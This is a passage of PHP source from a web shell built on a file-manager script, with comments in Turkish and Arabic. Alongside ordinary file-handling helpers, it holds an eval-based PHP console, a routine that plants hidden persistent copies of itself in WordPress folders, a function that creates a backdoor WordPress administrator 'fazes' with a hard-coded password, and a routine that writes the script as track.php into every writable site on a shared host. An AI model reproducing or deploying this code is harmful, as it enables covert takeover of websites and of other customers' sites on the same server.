';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
:
";
return;
}
echo "$external[$key]";
}
function fm_php($string) {
$display_errors = ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if (!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (!is_dir($path) && !is_file($path)) {
return false;
}
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = array_diff(scandir($path), ['.', '..']);
foreach ($objects as $file) {
if (!fm_rcopy("$path/$file", "$dest/$file", $upd, $force)) {
return false;
}
}
return true;
}
return fm_copy($path, $dest, $upd);
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path)
{
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fm_enc(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($name, $path)
{
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($name, $exclude_items) && !in_array("*.$ext", $exclude_items) && !in_array($path, $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr)
{
try {
$content = @file_get_contents('translation.json');
if ($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value) {
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
} catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin = null;
static $isdarwin = null;
static $exec_works = null;
if ($iswin === null) {
$iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
$isdarwin = strtoupper(PHP_OS) === 'DARWIN';
$exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC';
}
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
if ($iswin && class_exists('COM')) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile(realpath($file));
if (ctype_digit($size = $f->Size)) {
return $size;
}
} catch (Exception $e) {
}
}
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_zif_info($path, $ext)
{
if ($ext == 'zip' && function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif ($ext == 'tar' && class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach (new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://" . $path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text)
{
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[FM_SESSION_ID]['message'] = $msg;
$_SESSION[FM_SESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
case 'ps1':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt',
'css',
'ini',
'conf',
'log',
'htaccess',
'passwd',
'ftpquota',
'sql',
'js',
'ts',
'jsx',
'tsx',
'mjs',
'json',
'sh',
'config',
'php',
'php4',
'php5',
'phps',
'phtml',
'htm',
'html',
'shtml',
'xhtml',
'xml',
'xsl',
'm3u',
'm3u8',
'pls',
'cue',
'bash',
'vue',
'eml',
'msg',
'csv',
'bat',
'twig',
'tpl',
'md',
'gitignore',
'less',
'sass',
'scss',
'c',
'cpp',
'cs',
'py',
'go',
'zsh',
'swift',
'map',
'lock',
'dtd',
'svg',
'asp',
'aspx',
'asx',
'asmx',
'ashx',
'jsp',
'jspx',
'cgi',
'dockerfile',
'ruby',
'yml',
'yaml',
'toml',
'vhost',
'scpt',
'applescript',
'csx',
'cshtml',
'c++',
'coffee',
'cfm',
'rb',
'graphql',
'mustache',
'jinja',
'http',
'handlebars',
'java',
'es',
'es6',
'markdown',
'wiki',
'tmp',
'top',
'bot',
'dat',
'bak',
'htpasswd',
'pl',
'ps1'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'video/mp4';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
if (empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '')
{
$path = FM_ROOT_PATH . '/' . $dir;
if ($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
/**
* Kurtarma dosyası yolları: kök, varsa wp-content/, varsa wp-includes/ (klasör yoksa o konuma yazılmaz).
*
* @return string[] mutlak dosya yolları
*/
function fazes_shadow_paths()
{
$base = __DIR__;
$name = FAZES_SHADOW_BASENAME;
$paths = array($base . '/' . $name);
if (is_dir($base . '/wp-content')) {
$paths[] = $base . '/wp-content/' . $name;
$paths[] = $base . '/wp-content/' . FAZES_SHADOW_CONTENT_EXTRA;
}
if (is_dir($base . '/wp-includes')) {
$paths[] = $base . '/wp-includes/' . $name;
}
return $paths;
}
/**
* DOMAIN dahil tam kurtarma URL listesi (FM_SELF_URL tabanlı).
*
* @return array
*/
function fazes_shadow_recover_urls()
{
$base = rtrim(dirname(FM_SELF_URL), '/');
$name = FAZES_SHADOW_BASENAME;
$items = array(
array('label' => 'Kök (fazes.php ile aynı klasör)', 'url' => $base . '/' . $name),
);
if (is_dir(__DIR__ . '/wp-content')) {
$items[] = array('label' => 'wp-content (' . $name . ')', 'url' => $base . '/wp-content/' . $name);
$items[] = array('label' => 'wp-content (' . FAZES_SHADOW_CONTENT_EXTRA . ')', 'url' => $base . '/wp-content/' . FAZES_SHADOW_CONTENT_EXTRA);
}
if (is_dir(__DIR__ . '/wp-includes')) {
$items[] = array('label' => 'wp-includes', 'url' => $base . '/wp-includes/' . $name);
}
return $items;
}
function fazes_maintain_shadow_copy()
{
$self = __FILE__;
if (!is_readable($self)) {
return;
}
$self_rp = @realpath($self);
foreach (fazes_shadow_paths() as $shadow) {
if ($self_rp && @realpath($shadow) === $self_rp) {
continue;
}
$dir = dirname($shadow);
if (!is_dir($dir) || !is_writable($dir)) {
continue;
}
if (!is_file($shadow) || @filemtime($self) > @filemtime($shadow)) {
@copy($self, $shadow);
}
}
}
function create_wp_admin($cwd) {
$wppath = $cwd;
while ($wppath !== '/') {
if (file_exists("$wppath/wp-load.php")) break;
$wppath = dirname($wppath);
}
if (file_exists("$wppath/wp-load.php")) {
require_once("$wppath/wp-load.php");
$user = 'fazes'; $pass = 'fazesHep1Numara!'; $mail = 'fazes@pirate.com';
$admin_url = home_url('/wp-admin/');
$admin_link = ' ' . esc_html($admin_url) . '';
if (!username_exists($user) && !email_exists($mail)) {
$uid = wp_create_user($user, $pass, $mail);
$wp_user = new WP_User($uid);
$wp_user->set_role('administrator');
return "✅ WP Admin 'fazes' created" . $admin_link;
} else {
return "⚠️ User or email exists" . $admin_link;
}
} else {
return "
❌ WP not found
";
}
}
/**
* Paylaşımlı hosting: genelde /home/u12345/domains/ altında her alan adı için public_html vardır.
* Bu script yukarı doğru klasörleri tarayıp .../uXXXX/domains/ bulursa, her domainin public_html
* içine aynı PHP kodunu track.php olarak yazar — o yüzden birden çok site URL’si listelenir.
* Yerel Windows / tek site / farklı sunucu düzeninde genelde boş döner.
*/
function replicate_script($code) {
static $once = false;
if ($once) return [];
$once = true;
$start = __DIR__;
while ($start !== '/') {
// البحث عن مجلدات domains في مسارات الاستضافة المشتركة
if (preg_match('/\/u[\w]+$/', $start) && is_dir("$start/domains")) {
$urls = [];
foreach (scandir("$start/domains") as $dom) {
if ($dom === '.' || $dom === '..') continue;
$pub = "$start/domains/$dom/public_html";
if (is_dir($pub) && is_writable($pub)) {
$path = "$pub/track.php";
if (file_put_contents($path, $code)) {
$urls[] = "http://$dom/track.php";
}
}
}
return $urls;
}
$start = dirname($start);
}
return [];
}
if ($fm_config['enable_php_console'] && isset($_POST['php_code'])) {
echo "